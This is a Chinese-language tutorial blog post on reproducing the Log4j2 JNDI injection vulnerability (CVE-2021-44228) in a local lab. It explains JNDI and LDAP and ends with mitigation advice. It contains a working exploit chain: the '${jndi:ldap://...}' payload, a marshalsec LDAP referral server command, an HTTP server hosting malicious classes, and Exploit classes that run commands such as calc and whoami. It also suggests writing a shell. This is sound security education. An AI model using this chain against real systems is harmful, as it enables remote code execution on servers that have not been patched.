log4j2这个漏洞相比大家不陌生了,是在2021年11月爆出来的apache log4j2的漏洞,下面会详细介绍,堪称漏洞界的核武器了,当时刚爆出来的时候其实就有所耳闻,但是当时并未接触java安全,时隔一年再翻出来看看也是颇有感受的,也算相较于去年进步了吧

这篇文章字有点多,好多概念以及需要了解的东西

漏洞相关信息

背景

Apache Log4j2是一个基于Java的日志记录工具,是一个很流行的日志记录工具,这才导致这个漏洞影响之大之广,轰动世界,说是核武器当然不为过

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

漏洞编号

CNVD-2021-95919,CVE-2021-44228

利用条件

利用条件可谓是十分简单了,只要你的组件中引入了log4j-api , log4j-core 两个jar,那么这个漏洞就可以被攻击者利用,像测试XSS那样进行RCE

漏洞影响版本

Apache Log4j 2.x<=2.14.1

本文环境为log4j2 2.141版本

漏洞利用相关知识

log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,那么自然而然就要知道jndi是个什么东西以及原理

JNDI

JNDI全称是Java Naming and Directory Interface(java命名和目录接口)JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体

其实简单点来说,它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()

此文使用的以及网上流传最多的就是poc:"${jndi:ldap://my-ip/exp}",除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。

LDAP

LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),这里就不详细介绍,推荐大家一篇文章:LDAP 协议入门(轻量目录访问协议)

这里我是用作一个类似于中间件的作用,但是不完全是,因为使用jndi时必须要去访问接口,不能直接去请求其他资源,所以借助ldap来搭建一个类似于转发的环境

LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。我们通过LDAP协议去访问。

漏洞触发原因

其实上面也介绍过JNDI注入的流程,感觉差不太多

  1. 引入该组件的任意输入,会被记录到日志中,会去调用log4j2的某个方法,该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件
  2. 使用jndi:ldap 这样的协议格式则进行jndi方式的 ldap 调用。通过JNDI这个接口传入一个可控参数,因为JNDI动态协议转换,所以我们传入ldap协议,就会自动换成这个协议
  3. 然后调用lookup()去ldap服务器获取资源,如果访问资源不存在,且支持JNDI Naming Reference,那么LDAP就会去他指定的一个url去动态加载。如果加载的这个资源里面包含无参构造函数或者静态方法那么代码就会被执行。

这也就是漏洞触发的原因,具体的分析我会下一篇文章写

漏洞环境

因为这个漏洞我是本地搭建,并未用vulhub,涉及环境有点多

python版本:Python 2.7.16

Java版本:java version “1.8.0_221”

log4j2版本:引入了两个jar包,log4j2-api-2.14.1log4j2-core-2.14.1 下载地址

maven:apache-maven-3.6.3,因为使用marshalsec要用到maven,配置网上也有不少

LDAP的搭建:marshalsec,去GitHub就可以找到,网上的使用教程也挺简单的,不难

上面的一些安装我只说一下maven的安装,因为有一些坑点,但是如果你是Windows的话,那么没有坑点,但是如果你是Linux的话,就有一点坑点了,我翻阅了大多数文章吧,基本上不全,贴一篇我觉得非常好的,一步步来就可以了;https://blog.csdn.net/weixin_42250835/article/details/120349852

漏洞利用流程

第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。

第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令

漏洞复现

LDAP环境搭建

LDAP的服务端搭建就是使用marshalsec,下载安装解压后,需要使用maven进行初始化才可使用

刚下载只有这几个文件

mvn clean package -DskipTests

输入上方命令进行编译,会下载一些东西,直到出现下方提示说明成功,同时也会多出来一些文件,例如target,我们后续需要进入这个文件夹执行开启LDAP服务的代码,那么到这里我们LDAP环境就搭建完成,也就是LDAP服务端,放置恶意代码的地方

这里我直接先开启环境了,看到下图的listening1389说明开启成功,http://127.0.0.1:8000/#Exploit这个路径是你恶意类的网址,这里我是本地的环境

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

准备恶意代码并编译

这里为什么要编译,因为我们payload那边本质上是加载恶意类而不是恶意java文件,你没编译那边咋加载恶意类,所以我们要编译后把class文件,恶意代码要放到上面提到的路径,例如我这里就是:http://127.0.0.1:8000/#Exploit

public class Exploit {
    static {
        try {
            System.out.println("Malicious code execution!!!");
            String cmd = "calc";
 
            Runtime.getRuntime().exec(cmd);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        new Exploit();
    }
}

编译后放到你开启http服务的路径下,即下方http服务的路径下

开启http服务

我用的是python开启他的http服务,相对方便一点,注意这里开启的端口要跟上方LDAP的网址端口一致,是要放问这个http服务,并且这个服务路径下有我们的恶意文件

python -m SimpleHTTPServer 8000

客户端搭建(利用端)

idea创建一个项目,我创建的是maven的项目, Idea中创建maven项目,创建后项目后引入依赖及改写pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>groupId</groupId>
  <artifactId>xxxx</artifactId>
  <version>1.0-SNAPSHOT</version>

  <properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
  </properties>
  <dependencies>
      <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
      </dependency>
      <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
      <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
      </dependency>
  </dependencies>

</project>

加上这两个依赖即可,File—Project Structure—Modules

然后编写我们的漏洞代码即可

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class main {
        private static final Logger logger = LogManager.getLogger();

        public static void main(String[] args) {
            //不同的 JDK 对于com.sun.jndi.ldap.object.trustURLCodebase的默认值不一样,所以为了测试统一设置成true 便于触发。
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            logger.error("${jndi:ldap://localhost:1389/#Exploit}");
        }
}

上方所需环境都已开启,直接运行漏洞代码即可,漏洞成功弹出计算器

同时可以去看LDAP和http那边也会收到恶意类被请求的信息

LDAP端监听端口信息

http服务端监听端口信息

漏洞利用

那么我们在利用的时候,只要把写入的payload和我们的Exploit.class结合起来,即可实现抓返回包执行,例如执行cmd=whoami

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit {
    static {
        try {
            System.out.println("Malicious code execution!!!");
            String cmd = "whoami";

            Process p = Runtime.getRuntime().exec(cmd);
            InputStream inStream = p.getInputStream();

            InputStreamReader inReader = new InputStreamReader(inStream);

            BufferedReader inBuffer = new BufferedReader(inReader);
            String s;
            while((s = inBuffer.readLine()) != null){
                System.out.println(s);
            }
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        new Exploit();
    }
}

你也可以直接写Exploit.java的代码,payload传入参数,达到恶意命令可控的效果或者直接写入shell

如果你想追求更接近现实的利用场景,我的建议是写个springboot或者挂个tomcat来实现服务,写一个输入框实现传参,并且引入log4j2依赖包即可或者直接借助vulhub等搭建好的靶场环境即可

漏洞修复建议

目前,Apache官方已发布新版本完成漏洞修复,建议及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

  1. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true
  3. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本
  4. 部署使用第三方防火墙产品进行安全防护